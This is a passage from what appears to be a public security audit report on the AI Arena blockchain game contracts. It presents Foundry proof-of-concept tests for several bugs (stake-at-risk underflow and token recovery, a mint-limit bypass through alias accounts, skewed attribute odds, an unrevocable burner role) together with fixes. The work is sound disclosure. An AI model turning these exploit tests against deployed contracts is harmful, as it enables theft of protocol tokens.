// other user mints NFT, the fighters.length changes and DNA would be changed
_mintFromMergingPool(address(i)); // random user claim their NFT
}
assertEq(_fighterFarmContract.balanceOf(address(attacker_contract_wallet)), 1);
uint256 tokenId = _fighterFarmContract.tokenOfOwnerByIndex(address(attacker_contract_wallet), 0);
(,,uint256 weight,,,,) = _fighterFarmContract.getAllFighterInfo(tokenId);
assertEq(weight, 95);
}
Recommended Mitigation Steps
Users should only request minting, and attributes values should not be determined in the transaction called by the user. When a user claims an NFT, it should only mint the NFT and end. The attribute should be set by the admin or third-party like chainlink VRF after minting so that the user cannot manipulate it.
It’s not about lack of randomless problem, this is about setting attributes at same transaction when minting NFT. Even if you use chainlink, the same bug can happen if you set the attribute and mint NFTs in the same transaction.
brandinho (AI Arena) confirmed
Note: For full original discussion, see here.
Updated dna generation in reRoll and updated dna generation in claimFighters.
https://github.com/ArenaX-Labs/2024-02-ai-arena-mitigation/pull/11Fixed dna generation in mintFromMergingPool.
https://github.com/ArenaX-Labs/2024-02-ai-arena-mitigation/pull/3
Status: Not fully mitigated. Full details in reports from fnanni, niser93 (1, 2), and d3e4 (1, 2, 3), and also included in the Mitigation Review section below.
[M-06] NFTs can be transferred even if StakeAtRisk remains, so the user’s win cannot be recorded on the chain due to underflow, and can recover past losses that can’t be recovered (steal protocol’s token)
Submitted by klau5, also found by klau5, peanuts (1, 2), ubermensch (1, 2, 3), denzi_, alexxander, yotov721, 0xMosh, evmboi32, 0xDetermination (1, 2), alexzoid, AlexCzm (1, 2), nuthan2x, ZanyBonzy (1, 2), CodeWasp, DanielArmstrong (1, 2), stakog, 14si2o_Flint, 0xabhay, KmanOfficial, sl1, 0xG0P1, McToady (1, 2), immeas, Aymen0909, merlin, merlinboii, ke1caM, blutorque, 0xCiphky (1, 2), Kalogerone, lanrebayode77, swizz, JCN, handsomegiraffe (1, 2), Kow, WoolCentaur, t0x1c, shaflow2, Jorgect, Giorgio (1, 2), jesjupyter, solmaxis69 (1, 2), 0xAlix2, SpicyMeatball, csanuragjain, haxatron, VAD37, FloatingPragma, dipp, vnavascues, shaka, KupiaSec, tallo, almurhasan, lil_eth, and djxploit
https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/RankedBattle.sol#L285-L286
https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/RankedBattle.sol#L495-L496
Cannot record a user’s victory on-chain, and it may be possible to recover past losses (which should impossible).
Proof of Concept
If you lose in a game, _addResultPoints
is called, and the staked tokens move to the StakeAtRisk.
function _addResultPoints(
uint8 battleResult,
uint256 tokenId,
uint256 eloFactor,
uint256 mergingPortion,
address fighterOwner
)
private
{
uint256 stakeAtRisk;
uint256 curStakeAtRisk;
uint256 points = 0;
/// Check how many NRNs the fighter has at risk
stakeAtRisk = _stakeAtRiskInstance.getStakeAtRisk(tokenId);
...
/// Potential amount of NRNs to put at risk or retrieve from the stake-at-risk contract
@> curStakeAtRisk = (bpsLostPerLoss * (amountStaked[tokenId] + stakeAtRisk)) / 10**4;
if (battleResult == 0) {
/// If the user won the match
...
} else if (battleResult == 2) {
/// If the user lost the match
/// Do not allow users to lose more NRNs than they have in their staking pool
if (curStakeAtRisk > amountStaked[tokenId]) {
@> curStakeAtRisk = amountStaked[tokenId];
}
if (accumulatedPointsPerFighter[tokenId][roundId] > 0) {
...
} else {
/// If the fighter does not have any points for this round, NRNs become at risk of being lost
@> bool success = _neuronInstance.transfer(_stakeAtRiskAddress, curStakeAtRisk);
if (success) {
@> _stakeAtRiskInstance.updateAtRiskRecords(curStakeAtRisk, tokenId, fighterOwner);
@> amountStaked[tokenId] -= curStakeAtRisk;
}
}
}
}
If a Fighter NFT has NRN tokens staked, that Fighter NFT is locked and cannot be transfered. When the tokens are unstaked and the remaining amountStaked[tokenId]
becomes 0, the Fighter NFT is unlocked and it can be transfered. However, it does not check whether there are still tokens in the StakeAtRisk of the Fighter NFT.
function unstakeNRN(uint256 amount, uint256 tokenId) external {
require(_fighterFarmInstance.ownerOf(tokenId) == msg.sender, "Caller does not own fighter");
if (amount > amountStaked[tokenId]) {
@> amount = amountStaked[tokenId];
}
amountStaked[tokenId] -= amount;
globalStakedAmount -= amount;
stakingFactor[tokenId] = _getStakingFactor(
tokenId,
_stakeAtRiskInstance.getStakeAtRisk(tokenId)
);
_calculatedStakingFactor[tokenId][roundId] = true;
hasUnstaked[tokenId][roundId] = true;
bool success = _neuronInstance.transfer(msg.sender, amount);
if (success) {
if (amountStaked[tokenId] == 0) {
@> _fighterFarmInstance.updateFighterStaking(tokenId, false);
}
emit Unstaked(msg.sender, amount);
}
}
Unstaked Fighter NFTs can now be traded on the secondary market. Suppose another user buys this Fighter NFT with remaining StakeAtRisk.
Normally, if you win a game, you can call reclaimNRN
to get the tokens back from StakeAtRisk.
function _addResultPoints(
uint8 battleResult,
uint256 tokenId,
uint256 eloFactor,
uint256 mergingPortion,
address fighterOwner
)
private
{
uint256 stakeAtRisk;
uint256 curStakeAtRisk;
uint256 points = 0;
/// Check how many NRNs the fighter has at risk
@> stakeAtRisk = _stakeAtRiskInstance.getStakeAtRisk(tokenId);
...
/// Potential amount of NRNs to put at risk or retrieve from the stake-at-risk contract
@> curStakeAtRisk = (bpsLostPerLoss * (amountStaked[tokenId] + stakeAtRisk)) / 10**4;
if (battleResult == 0) {
/// If the user won the match
...
/// Do not allow users to reclaim more NRNs than they have at risk
if (curStakeAtRisk > stakeAtRisk) {
@> curStakeAtRisk = stakeAtRisk;
}
/// If the user has stake-at-risk for their fighter, reclaim a portion
/// Reclaiming stake-at-risk puts the NRN back into their staking pool
@> if (curStakeAtRisk > 0) {
@> _stakeAtRiskInstance.reclaimNRN(curStakeAtRisk, tokenId, fighterOwner);
amountStaked[tokenId] += curStakeAtRisk;
}
...
} else if (battleResult == 2) {
...
}
}
However, if a new user becomes the owner of the Fighter NFT, it does not work as intended.
The _addResultPoints
might revert due to the underflow at reclaimNRN
’s amountLost[fighterOwner] -= nrnToReclaim
. Therefore, the new owner cannot record a victory on-chain with the purchased NFT until the end of this round.
function getStakeAtRisk(uint256 fighterId) external view returns(uint256) {
@> return stakeAtRisk[roundId][fighterId];
}
function reclaimNRN(uint256 nrnToReclaim, uint256 fighterId, address fighterOwner) external {
require(msg.sender == _rankedBattleAddress, "Call must be from RankedBattle contract");
require(
stakeAtRisk[roundId][fighterId] >= nrnToReclaim,
"Fighter does not have enough stake at risk"
);
bool success = _neuronInstance.transfer(_rankedBattleAddress, nrnToReclaim);
if (success) {
stakeAtRisk[roundId][fighterId] -= nrnToReclaim;
totalStakeAtRisk[roundId] -= nrnToReclaim;
@> amountLost[fighterOwner] -= nrnToReclaim;
emit ReclaimedStake(fighterId, nrnToReclaim);
}
}
Even if the new owner already has another NFT and has a sufficient amount of amountLost[fighterOwner]
, there is a problem.
-
Alice buy the NFT2(tokenId 2) from the secondary market, which has 30 stakeAtRisk.
- stakeAtRisk of NFT2: 30
- amountLost: 0
-
Alice also owns the NFT1(tokenId 1) and has 100 stakeAtRisk in the same round.
- stakeAtRisk of NFT1: 100
- stakeAtRisk of NFT2: 30
- amountLost: 100
-
Alice wins with the NFT2 and reclaims 30 stakeAtRisk.
- stakeAtRisk of NFT1: 100
- stakeAtRisk of NFT2: 0
- amountLost: 70
-
If Alice tries to reclaim stakeAtRisk of NFT1, an underflow occurs and it reverts when remaining stakeAtRisk is 30.
- stakeAtRisk of NFT1: 30
- stakeAtRisk of NFT2: 0
- amountLost: 0
- Alice will no longer be able to record a win for NFT1 due to underflow.
There is a problem even if the user owns a sufficient amount of amountLost[fighterOwner]
and does not have stakeAtRisk of another NFT in the current round. In this case, the user can steal the protocol’s token.
-
Alice owns NFT1 and had 100 stakeAtRisk with NFT1 at past round.
- Since the round has already passed, this loss of 100 NRN is a past loss that can no longer be recovered.
- Since
amountLost[fighterOwner]
is a total amount regardless of rounds, it remains 100 even after the round. - stakeAtRisk of NFT1: 0 (current round)
- amountLost: 100 (this should be unrecoverable)
-
Alice buys NFT 2 from the secondary market, which has 100 stakeAtRisk.
- stakeAtRisk of NFT1: 0
- stakeAtRisk of NFT2: 100
- amountLost: 100
-
Alice wins with NFT 2 and reclaims 100.
- stakeAtRisk of NFT1: 0
- stakeAtRisk of NFT2: 0
- amountLost: 0
- Alice recovers the past loss through NFT 2. Alice recovered past lost, which shouldn’t be recovered, which means she steals the protocol’s token.
This is PoC. You can add it to StakeAtRisk.t.sol and run it.
- testPoC1 shows that a user with
amountLost
0 cannot record a victory with the purchased NFT due to underflow. - testPoC2 shows that a user who already has stakeAtRisk due to another NFT in the same round can no longer record a win due to underflow.
- testPoC3 shows that a user can recover losses from a past round by using a purchased NFT.
function testPoC1() public {
address seller = vm.addr(3);
address buyer = vm.addr(4);
uint256 stakeAmount = 3_000 * 10 ** 18;
uint256 expectedStakeAtRiskAmount = (stakeAmount * 100) / 100000;
_mintFromMergingPool(seller);
uint256 tokenId = 0;
assertEq(_fighterFarmContract.ownerOf(tokenId), seller);
_fundUserWith4kNeuronByTreasury(seller);
vm.prank(seller);
_rankedBattleContract.stakeNRN(stakeAmount, tokenId);
assertEq(_rankedBattleContract.amountStaked(tokenId), stakeAmount);
vm.prank(address(_GAME_SERVER_ADDRESS));
// loses battle
_rankedBattleContract.updateBattleRecord(tokenId, 50, 2, 1500, true);
assertEq(_stakeAtRiskContract.stakeAtRisk(0, tokenId), expectedStakeAtRiskAmount);
// seller unstake and sell NFT to buyer
vm.startPrank(seller);
_rankedBattleContract.unstakeNRN(_rankedBattleContract.amountStaked(tokenId), tokenId);
_fighterFarmContract.transferFrom(seller, buyer, tokenId);
vm.stopPrank();
// The buyer win battle but cannot write at onchain
vm.expectRevert(abi.encodeWithSignature("Panic(uint256)", 0x11)); // expect arithmeticError (underflow)
vm.prank(address(_GAME_SERVER_ADDRESS));
_rankedBattleContract.updateBattleRecord(tokenId, 50, 0, 1500, true);
}
function testPoC2() public {
address seller = vm.addr(3);
address buyer = vm.addr(4);
uint256 stakeAmount = 3_000 * 10 ** 18;
uint256 expectedStakeAtRiskAmount = (stakeAmount * 100) / 100000;
_mintFromMergingPool(seller);
uint256 tokenId = 0;
assertEq(_fighterFarmContract.ownerOf(tokenId), seller);
_fundUserWith4kNeuronByTreasury(seller);
vm.prank(seller);
_rankedBattleContract.stakeNRN(stakeAmount, tokenId);
assertEq(_rankedBattleContract.amountStaked(tokenId), stakeAmount);
vm.prank(address(_GAME_SERVER_ADDRESS));
// loses battle
_rankedBattleContract.updateBattleRecord(tokenId, 50, 2, 1500, true);
assertEq(_stakeAtRiskContract.stakeAtRisk(0, tokenId), expectedStakeAtRiskAmount);
// seller unstake and sell NFT to buyer
vm.startPrank(seller);
_rankedBattleContract.unstakeNRN(_rankedBattleContract.amountStaked(tokenId), tokenId);
_fighterFarmContract.transferFrom(seller, buyer, tokenId);
vm.stopPrank();
// The buyer have new NFT and loses with it
uint256 stakeAmount_buyer = 3_500 * 10 ** 18;
uint256 expectedStakeAtRiskAmount_buyer = (stakeAmount_buyer * 100) / 100000;
_mintFromMergingPool(buyer);
uint256 tokenId_buyer = 1;
assertEq(_fighterFarmContract.ownerOf(tokenId_buyer), buyer);
_fundUserWith4kNeuronByTreasury(buyer);
vm.prank(buyer);
_rankedBattleContract.stakeNRN(stakeAmount_buyer, tokenId_buyer);
assertEq(_rankedBattleContract.amountStaked(tokenId_buyer), stakeAmount_buyer);
// buyer loses with tokenId_buyer
vm.prank(address(_GAME_SERVER_ADDRESS));
_rankedBattleContract.updateBattleRecord(tokenId_buyer, 50, 2, 1500, true);
assertEq(_stakeAtRiskContract.stakeAtRisk(0, tokenId_buyer), expectedStakeAtRiskAmount_buyer);
assertGt(expectedStakeAtRiskAmount_buyer, expectedStakeAtRiskAmount, "buyer has more StakeAtRisk");
// buyer win with bought NFT (tokenId 0)
vm.startPrank(address(_GAME_SERVER_ADDRESS));
for(uint256 i = 0; i < 1000; i++){
_rankedBattleContract.updateBattleRecord(tokenId, 50, 0, 1500, false);
}
vm.stopPrank();
assertEq(_stakeAtRiskContract.stakeAtRisk(0, tokenId), 0); // Reclaimed all stakeAtRisk of bought NFT(token 0)
assertEq(_stakeAtRiskContract.stakeAtRisk(0, tokenId_buyer), expectedStakeAtRiskAmount_buyer); // tokenId_buyer stakeAtRisk remains
assertEq(_stakeAtRiskContract.amountLost(buyer), expectedStakeAtRiskAmount_buyer - expectedStakeAtRiskAmount, "remain StakeAtRisk");
// the remain StakeAtRisk cannot be reclaimed even if buyer win with tokenId_buyer(token 1)
// and the win result of token 1 cannot be saved at onchain
vm.expectRevert(abi.encodeWithSignature("Panic(uint256)", 0x11)); // expect arithmeticError (underflow)
vm.prank(address(_GAME_SERVER_ADDRESS));
_rankedBattleContract.updateBattleRecord(tokenId_buyer, 50, 0, 1500, false);
}
function testPoC3() public {
address seller = vm.addr(3);
address buyer = vm.addr(4);
uint256 stakeAmount = 3_000 * 10 ** 18;
uint256 expectedStakeAtRiskAmount = (stakeAmount * 100) / 100000;
// The buyer have new NFT and loses with it
uint256 stakeAmount_buyer = 300 * 10 ** 18;
uint256 expectedStakeAtRiskAmount_buyer = (stakeAmount_buyer * 100) / 100000;
_mintFromMergingPool(buyer);
uint256 tokenId_buyer = 0;
assertEq(_fighterFarmContract.ownerOf(tokenId_buyer), buyer);
_fundUserWith4kNeuronByTreasury(buyer);
vm.prank(buyer);
_rankedBattleContract.stakeNRN(stakeAmount_buyer, tokenId_buyer);
assertEq(_rankedBattleContract.amountStaked(tokenId_buyer), stakeAmount_buyer);
// buyer loses with tokenId_buyer
vm.prank(address(_GAME_SERVER_ADDRESS));
_rankedBattleContract.updateBattleRecord(tokenId_buyer, 50, 2, 1500, true);
assertEq(_stakeAtRiskContract.stakeAtRisk(0, tokenId_buyer), expectedStakeAtRiskAmount_buyer);
assertGt(expectedStakeAtRiskAmount, expectedStakeAtRiskAmount_buyer, "seller's token has more StakeAtRisk");
// round 0 passed
// tokenId_buyer's round 0 StakeAtRisk is reset
vm.prank(address(_rankedBattleContract));
_stakeAtRiskContract.setNewRound(1);
assertEq(_stakeAtRiskContract.stakeAtRisk(1, tokenId_buyer), 0);
// seller mint token, lose battle and sell the NFT
_mintFromMergingPool(seller);
uint256 tokenId = 1;
assertEq(_fighterFarmContract.ownerOf(tokenId), seller);
_fundUserWith4kNeuronByTreasury(seller);
vm.prank(seller);
_rankedBattleContract.stakeNRN(stakeAmount, tokenId);
assertEq(_rankedBattleContract.amountStaked(tokenId), stakeAmount);
vm.prank(address(_GAME_SERVER_ADDRESS));
// loses battle
_rankedBattleContract.updateBattleRecord(tokenId, 50, 2, 1500, true);
assertEq(_stakeAtRiskContract.stakeAtRisk(1, tokenId), expectedStakeAtRiskAmount);
// seller unstake and sell NFT to buyer
vm.startPrank(seller);
_rankedBattleContract.unstakeNRN(_rankedBattleContract.amountStaked(tokenId), tokenId);
_fighterFarmContract.transferFrom(seller, buyer, tokenId);
vm.stopPrank();
// buyer win with bought NFT (tokenId 0)
vm.startPrank(address(_GAME_SERVER_ADDRESS));
for(uint256 i = 0; i < 100; i++){
_rankedBattleContract.updateBattleRecord(tokenId, 50, 0, 1500, false);
}
vm.stopPrank();
assertEq(_stakeAtRiskContract.stakeAtRisk(1, tokenId), expectedStakeAtRiskAmount - expectedStakeAtRiskAmount_buyer); // Reclaimed all stakeAtRisk of bought NFT(token 1)
assertEq(_stakeAtRiskContract.stakeAtRisk(1, tokenId_buyer), 0);
assertEq(_stakeAtRiskContract.amountLost(buyer), 0, "reclaimed old lost");
// and the win result of token 1 cannot be saved at onchain anymore
vm.expectRevert(abi.encodeWithSignature("Panic(uint256)", 0x11)); // expect arithmeticError (underflow)
vm.prank(address(_GAME_SERVER_ADDRESS));
_rankedBattleContract.updateBattleRecord(tokenId, 50, 0, 1500, false);
}
Recommended Mitigation Steps
Tokens with a remaining StakeAtRisk should not be allowed to be exchanged.
function unstakeNRN(uint256 amount, uint256 tokenId) external {
require(_fighterFarmInstance.ownerOf(tokenId) == msg.sender, "Caller does not own fighter");
if (amount > amountStaked[tokenId]) {
amount = amountStaked[tokenId];
}
amountStaked[tokenId] -= amount;
globalStakedAmount -= amount;
stakingFactor[tokenId] = _getStakingFactor(
tokenId,
_stakeAtRiskInstance.getStakeAtRisk(tokenId)
);
_calculatedStakingFactor[tokenId][roundId] = true;
hasUnstaked[tokenId][roundId] = true;
bool success = _neuronInstance.transfer(msg.sender, amount);
if (success) {
- if (amountStaked[tokenId] == 0) {
+ if (amountStaked[tokenId] == 0 && _stakeAtRiskInstance.getStakeAtRisk(tokenId) == 0) {
_fighterFarmInstance.updateFighterStaking(tokenId, false);
}
emit Unstaked(msg.sender, amount);
}
}
hickuphh3 (judge) decreased severity to Medium and commented:
See comment on this vulnerability in the initial primary issue #1641.
brandinho (AI Arena) confirmed
https://github.com/ArenaX-Labs/2024-02-ai-arena-mitigation/pull/9
Status: Not fully mitigated. Full details in report from d3e4, and also included in the Mitigation Review section below.
[M-07] Erroneous probability calculation in physical attributes can lead to significant issues
Submitted by haxatron, also found by juancito, BARW, fnanni, and DanielArmstrong
To determine what physical attributes a user gets first we obtain a rarityRank
which is computed from the DNA.
} else {
uint256 rarityRank = (dna / attributeToDnaDivisor[attributes[i]]) % 100;
uint256 attributeIndex = dnaToIndex(generation, rarityRank, attributes[i]);
finalAttributeProbabilityIndexes[i] = attributeIndex;
}
Here since we use % 100
operation is used, the range of rarityRank
would be [0,99].
This rarityRank
is used in the dnaToIndex
to determine the final attribute of the part.
/// @dev Convert DNA and rarity rank into an attribute probability index.
/// @param attribute The attribute name.
/// @param rarityRank The rarity rank.
/// @return attributeProbabilityIndex attribute probability index.
function dnaToIndex(uint256 generation, uint256 rarityRank, string memory attribute)
public
view
returns (uint256 attributeProbabilityIndex)
{
uint8[] memory attrProbabilities = getAttributeProbabilities(generation, attribute);
uint256 cumProb = 0;
uint256 attrProbabilitiesLength = attrProbabilities.length;
for (uint8 i = 0; i < attrProbabilitiesLength; i++) {
cumProb += attrProbabilities[i];
if (cumProb >= rarityRank) {
attributeProbabilityIndex = i + 1;
break;
}
}
return attributeProbabilityIndex;
}
There is however, a very subtle bug in the calculation above due to the use of cumProb >= rarityRank
as opposed to cumProb > rarityRank
.
To explain the above, I will perform a calculation using a simple example. Let’s say we only have 2 possible attributes and the attrProbabilities
is [50, 50].
- First iteration, when
i = 0
, we havecumProb = 50
, for theif (cumProb >= rarityRank)
to be entered the range of valuesrarityRank
can be is [0, 50]. Therefore there is a 51% chance of obtaining this attribute - Next iteration, when
i = 1
, we havecumProb = 100
, for theif (cumProb >= rarityRank)
to be entered the range of valuesrarityRank
can be is [51, 99]. Therefore there is a 49% chance of obtaining this attribute.
This means that for values in the first index, the probability is 1% greater than intended and for values in the last index the probability is 1% lesser than intended. This can be significant in certain cases, let us run through two of them.
Case 1: The first value in attrProbabilities
is 1.
If the first value in attrProbabilities
is 1. Let’s say [1, 99].
Then in reality if we perform the calculation above we get the following results:
- First iteration, when
i = 0
, we havecumProb = 1
, for theif (cumProb >= rarityRank)
to be entered the range of valuesrarityRank
can be is [0, 1]. Therefore there is a 2% chance of obtaining this attribute - Next iteration, when
i = 1
, we havecumProb = 100
, for theif (cumProb >= rarityRank)
to be entered the range of valuesrarityRank
can be is [2, 99]. Therefore there is a 98% chance of obtaining this attribute.
Then we have twice the chance of getting the rarer item, which would make it twice as common, thus devaluing it.
Case 2: The last value in attrProbabilities
is 1.
If the last value in attrProbabilities
is 1. Let’s say [99, 1].
Then in reality if we perform the calculation above we get the following results:
- First iteration, when
i = 0
, we havecumProb = 99
, for theif (cumProb >= rarityRank)
to be entered the range of valuesrarityRank
can be is [0, 99]. Therefore we will always enter theif (cumProb >= rarityRank)
block.
Then it would be impossible (0% chance) to obtain the 1% item.
Recommended Mitigation Steps
It should be cumProb > rarityRank
. Going back to our example of [50, 50], if it were cumProb > rarityRank
. Then we will get the following results:
- First iteration, when
i = 0
, we havecumProb = 50
, for theif (cumProb > rarityRank)
to be entered the range of valuesrarityRank
can be is [0, 49]. Therefore there is a 50% chance of obtaining this attribute - Next iteration, when
i = 1
, we havecumProb = 100
, for theif (cumProb > rarityRank)
to be entered the range of valuesrarityRank
can be is [50, 99]. Therefore there is a 50% chance of obtaining this attribute.
Thus the above recommended mitigation is correct.
Valid issue: wrong inclusion of boundary skews the probability to one-side by 1%.
The shift in probabilities will affect trait generation, which affects fighter valuations.
Note: For full discussion, see here.
[M-08] Burner role cannot be revoked
Submitted by Timenov, also found by 0x11singh99, vnavascues, MrPotatoMagic, Rolezn, merlinboii (1, 2), btk, andywer, 0xblackskull, josephdara, CodeWasp, MidgarAudits, Sabit, SovaSlava, lil_eth, and sobieski
In GameItems::setAllowedBurningAddresses
the admin can update the allowedBurningAddresses
mapping.
function setAllowedBurningAddresses(address newBurningAddress) public {
require(isAdmin[msg.sender]);
allowedBurningAddresses[newBurningAddress] = true;
}
This mapping is used to check if the msg.sender
has permission to burn specific amount of game items from an account. This can happen through the burn
function.
function burn(address account, uint256 tokenId, uint256 amount) public {
require(allowedBurningAddresses[msg.sender]);
_burn(account, tokenId, amount);
}
However setAllowedBurningAddresses()
works only one way. I mean that the admin can give permission, but not revoke it.
Proof of Concept
Imagine the following scenario. Admin calls setAllowedBurningAddresses
with wrong address. Now this address has the permission to burn any token from any user. Now no one can remove the wrong address from the mapping.
Recommended Mitigation Steps
Use adjustAdminAccess
function as an example:
function adjustAdminAccess(address adminAddress, bool access) external {
require(msg.sender == _ownerAddress);
isAdmin[adminAddress] = access;
}
So the new setAllowedBurningAddresses
function should look something like this:
function adjustBurningAccess(address burningAddress, bool access) public {
require(isAdmin[msg.sender]);
allowedBurningAddresses[burningAddress] = access;
}
Now even if the admin sets the wrong address, he can immediately change it.
hickuphh3 (judge) decreased severity to Medium and commented:
Similar to M-02, but the root causes are different even though the effect is the same.
https://github.com/ArenaX-Labs/2024-02-ai-arena-mitigation/pull/18
Status: Not fully mitigated. Full details in report from d3e4, and also included in the Mitigation Review section below.
[M-09] Constraints of dailyAllowanceReplenishTime
and allowanceRemaining
during mint()
can be bypassed by using alias accounts & safeTransferFrom()
Submitted by t0x1c, also found by visualbits, MrPotatoMagic, 0xDetermination, MatricksDeCoder, Greed, givn, VAD37, MidgarAudits, Shubham, PedroZurdo, forkforkdog, Draiakoo, 0xCiphky, lil_eth, Velislav4o, ladboy233, cats (1, 2), lanrebayode77, djxploit, Kalogerone, zaevlad, btk, ZanyBonzy, and SpicyMeatball
The mint() function in GameItems.sol
constraints a user from minting more than 10 game items in 1 day. This constraint can easily be bypassed since a similar check is missing inside the safeTransferFrom() function:
File: src/GameItems.sol
147: function mint(uint256 tokenId, uint256 quantity) external {
148: require(tokenId < _itemCount);
149: uint256 price = allGameItemAttributes[tokenId].itemPrice * quantity;
150: require(_neuronInstance.balanceOf(msg.sender) >= price, "Not enough NRN for purchase");
151: require(
152: allGameItemAttributes[tokenId].finiteSupply == false ||
153: (
154: allGameItemAttributes[tokenId].finiteSupply == true &&
155: quantity <= allGameItemAttributes[tokenId].itemsRemaining
156: )
157: );
158: @---> require(
159: @---> dailyAllowanceReplenishTime[msg.sender][tokenId] <= block.timestamp ||
160: @---> quantity <= allowanceRemaining[msg.sender][tokenId]
161: );
162:
163: _neuronInstance.approveSpender(msg.sender, price);
164: bool success = _neuronInstance.transferFrom(msg.sender, treasuryAddress, price);
165: if (success) {
166: if (dailyAllowanceReplenishTime[msg.sender][tokenId] <= block.timestamp) {
167: _replenishDailyAllowance(tokenId);
168: }
169: allowanceRemaining[msg.sender][tokenId] -= quantity;
170: if (allGameItemAttributes[tokenId].finiteSupply) {
171: allGameItemAttributes[tokenId].itemsRemaining -= quantity;
172: }
173: _mint(msg.sender, tokenId, quantity, bytes("random"));
174: emit BoughtItem(msg.sender, tokenId, quantity);
175: }
176: }
Missing check:
File: src/GameItems.sol
291: function safeTransferFrom(
292: address from,
293: address to,
294: uint256 tokenId,
295: uint256 amount,
296: bytes memory data
297: )
298: public
299: override(ERC1155)
300: {
301: require(allGameItemAttributes[tokenId].transferable);
302: super.safeTransferFrom(from, to, tokenId, amount, data);
303: }
Note: This could also lead to a situation where a NRN whale having enough funds can buy the complete supply of the game items within minutes by using his multiple alias accounts.
Proof of Concept
- Alice (ownerAddress) buys 10 batteries. She can’t buy anymore until 1 day has passed.
- Alice transfers some of her NRN to Bob (Alice’s alternate account).
- Bob buys 10 batteries and transfers them to Alice, bypassing the constraints.
Add the following inside test/GameItems.t.sol
and run with forge test --mt test_MintGameItems_FromMultipleAccs_ThenTransfer -vv
:
function test_MintGameItems_FromMultipleAccs_ThenTransfer() public {
// _ownerAddress's alternate account
address aliasAccount1 = makeAddr("aliasAccount1");
_fundUserWith4kNeuronByTreasury(_ownerAddress);
_gameItemsContract.mint(0, 10); //paying 10 $NRN for 10 batteries
assertEq(_gameItemsContract.balanceOf(_ownerAddress, 0), 10);
// transfer some $NRN to alias Account
_neuronContract.transfer(aliasAccount1, 10 * 10 ** 18);
vm.startPrank(aliasAccount1);
_gameItemsContract.mint(0, 10); //paying 10 $NRN for 10 batteries
assertEq(_gameItemsContract.balanceOf(aliasAccount1, 0), 10);
// transfer these game items to _ownerAddress
_gameItemsContract.safeTransferFrom(aliasAccount1, _ownerAddress, 0, 10, "");
assertEq(_gameItemsContract.balanceOf(_ownerAddress, 0), 20);
}
Tools used
Foundry
Recommended Mitigation Steps
Add the same check inside safeTransferFrom()
too:
File: src/GameItems.sol
291: function safeTransferFrom(
292: address from,
293: address to,
294: uint256 tokenId,
295: uint256 amount,
296: bytes memory data
297: )
298: public
299: override(ERC1155)
300: {
301: require(allGameItemAttributes[tokenId].transferable);
+ require(dailyAllowanceReplenishTime[to][tokenId] <= block.timestamp || amount <= allowanceRemaining[to][tokenId], "Cannot bypass constraints via alias accounts");
302: super.safeTransferFrom(from, to, tokenId, amount, data);
303: }
Agree with the issue. The main impact is about bypassing replenishing / minting limits for a specific account by minting batteries / redeeming passes with multiple accounts & transferring all to that 1 account for consumption || transferring fighter NFTs back and forth across multiple wallets.
Low Risk and Non-Critical Issues
For this audit, 60 reports were submitted by wardens detailing low risk and non-critical issues. The report highlighted below by givn received the top score from the judge.
The following wardens also submitted reports: 0xDetermination, radev_sw, Aamir, lsaudit, peter, rspadi, MrPotatoMagic, vnavascues, AlexCzm, 0xMosh, nuthan2x, PetarTolev, 0xAkira, 7ashraf, rekxor, Blank_Space, juancito, ZanyBonzy, KmanOfficial, 0x11singh99, 0xStriker, DarkTower, DeFiHackLabs, yovchev_yoan, 14si2o_Flint, McToady, immeas, alexzoid, agadzhalov, 0xmystery, 0xBinChook, Bube, forkforkdog, SHA_256, BARW, merlinboii, BigVeezus, offside0011, klau5, Krace, EagleSecurity, oualidpro, kartik_giri_47538, swizz, btk, Rolezn, Tekken, BenasVol, shaflow2, dimulski, jesjupyter, Bauchibred, shaka, cartlex_, yotov721, Timenov, boredpukar, SpicyMeatball, and haxatron.
[01] Improve security posture of _delegatedAddress
in FighterFarm.sol
The _delegatedAddress
field represents the backend’s address, responsible for signing various messages related to claimFighters
. There are two issues with it, which increase the risk for the protocol.
_delegatedAddress
is being set only once, in the constructor, and there is no check if itsaddress(0)
. In the off-chance of this value being misconfigured any signature would be able to mint a fighter.- In the event of a security breach on the backend, there is no way to change the
_delegatedAddress
. This means a hacker could mint as many and whatever kind of fighter they would like.
Suggested mitigation
-
Add require check in
FighterFarm
’s constructor -
require(_delegatedAddress != address(0), “Invalid delegated address”);
- Add
setDelegatedAddress(address) external
function, which should be callable only by the owner, similar to the already existingsetMergingPoolAddress(address)
.
[02] Missing functions to change the treasury in various contracts
The treasuryAddress
receives an initial mint of NRN and subsequently smaller transfers of the currency.
In the situation of a security breach, protocol ownership change or some other unforeseen events it could be troublesome that the treasury address can’t change. A fallback mechanism is necessary, just like one exists for changing the owner.
Suggested mitigation
Either add setTreasury(address)
function, callable only by the owner, in the following contracts:
FighterFarm.sol
GameItems.sol
Neuron.sol
StakeAtRisk.sol
Or make all of them reference the treasury from the Neuron
contract, since they all have a reference to it, and have setTreasury(address)
only in Neuron.sol
.
[03] Missing checks for game item invariants when calling createGameItem
It is possible for an item to have infinite supply (finiteSupply == false
) and have itemsRemaining > 0
.
Add:
if(finiteSupply && itemsRemaining > 0) {
revert("Conflicting item parameters");
}
[04] There are no functions for adjusting GameItemAttributes
In the event of misconfigured item, promotions/discounts, balance adjustments a new item with the same name needs to be created. Adding function to update parameter/s is going to make resolution of such situations straight-forward.
[05] getFighterPoints
view function is unusable
The getFighterPoints
function is created as a helper, to produce a list of the fighters’ points. The issue with it is that it allocates the resulting array with only 1 item. This makes it impossible to use for any practical purposes, because client code would be interested in more fighters than the first one.
Another concern with the function is that it could become impossible to use if enough fighters are created. A big enough array would DoS the function. Consider providing it with a range of indices.
In this way you would limit the return data.
PoC
function testIndexOOB() public {
address user1 = makeAddr("user1");
address user2 = makeAddr("user2");
_mintFromMergingPool(_ownerAddress);
_mintFromMergingPool(user1);
_mintFromMergingPool(user2);
vm.startPrank(address(_rankedBattleContract));
_mergingPoolContract.addPoints(0, 100);
_mergingPoolContract.addPoints(1, 100);
_mergingPoolContract.addPoints(2, 100);
assertEq(_mergingPoolContract.totalPoints(), 300);
vm.stopPrank();
// fighter points contains values for 3 fighters, but when we ask for 2 or 3, it fails
vm.expectRevert(stdError.indexOOBError);
uint256[] memory fighterPoints = _mergingPoolContract.getFighterPoints(2);
assertEq(fighterPoints.length, 2);
}
[06] Misleading function names in FighterFarm.sol
The following functions should be renamed:
instantiateAIArenaHelperContract
to setAIArenaHelperContract
instantiateMintpassContract
